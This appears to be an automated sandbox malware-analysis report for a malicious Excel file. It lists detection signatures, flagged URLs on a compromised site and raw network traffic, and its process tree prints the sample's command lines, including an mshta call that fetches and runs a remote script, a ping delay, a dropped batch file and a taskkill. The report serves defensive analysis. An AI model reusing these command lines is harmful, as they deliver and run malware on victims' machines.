Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls
Analysis ID:	684680
MD5:	f758ac579e55bbc5fe8b729bfe99616c
SHA1:	6b91b14af7b7fa8cc7a7b25256eee7f14b4eb325
SHA256:	7b208abf05433369e1503ea96851a1b53eca58c6ef20dfaebf67c6813712cb89
Tags:	xlsx
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Machine Learning detection for sample

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Document contains an embedded VBA macro with suspicious strings

Document exploit detected (process start blacklist hit)

Queries the volume information (name, serial number etc) of a device

Internet Provider seen in connection with other malware

Document contains an embedded VBA macro which executes code when the document is opened / closed

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Uses a known web browser user agent for HTTP communication

Installs a global mouse hook

Uses taskkill to terminate processes

Document contains embedded VBA macros

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 3396 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

cmd.exe (PID: 3932 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 5456 cmdline: ping -n 8 127.0.0.1 MD5: 70C24A306F768936563ABDADB9CA9108)

cmd.exe (PID: 5832 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: F3BDBE3BB6F734E357235F4D5898582D)

taskkill.exe (PID: 4908 cmdline: taskkill /f /im WINWORD.EXE MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

conhost.exe (PID: 5800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mshta.exe (PID: 4036 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 7083239CE743FDB68DFC933B7308E80A)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Virustotal: Detection: 48%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Metadefender: Detection: 27%	Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	ReversingLabs: Detection: 57%

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls

Avira: detected

Antivirus detection for URL or domain

Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6g	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6s	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2a	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0JLMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#servicosG7	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0S_	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.21	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3)	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/css/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417erC:	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0zp	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2LMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngFb	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshta	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Nq	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0veLMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0js1	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtu_	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0veLMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0js	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0LMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0LMEM	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3eC:	Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/t	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3s7	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.4	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0	Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsmr	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: facextrade.com.br

Virustotal: Detection: 5%

Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.5:49773 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Source: global traffic	DNS query: name: facextrade.com.br
Source: global traffic	DNS query: name: netdna.bootstrapcdn.com
Source: global traffic	DNS query: name: translate.google.com
Source: global traffic	DNS query: name: storage.ie6countdown.com

Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 104.18.11.207:80 -> 192.168.2.5:49768
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49766 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49772 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.5:49772
Source: global traffic	TCP traffic: 192.168.2.5:49772 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.5:49772 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.5:49772
Source: global traffic	TCP traffic: 142.250.181.238:80 -> 192.168.2.5:49772
Source: global traffic	TCP traffic: 192.168.2.5:49772 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49766
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49770
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 187.45.240.69:80 -> 192.168.2.5:49767
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 142.250.181.238:443
Source: global traffic	TCP traffic: 142.250.181.238:443 -> 192.168.2.5:49773
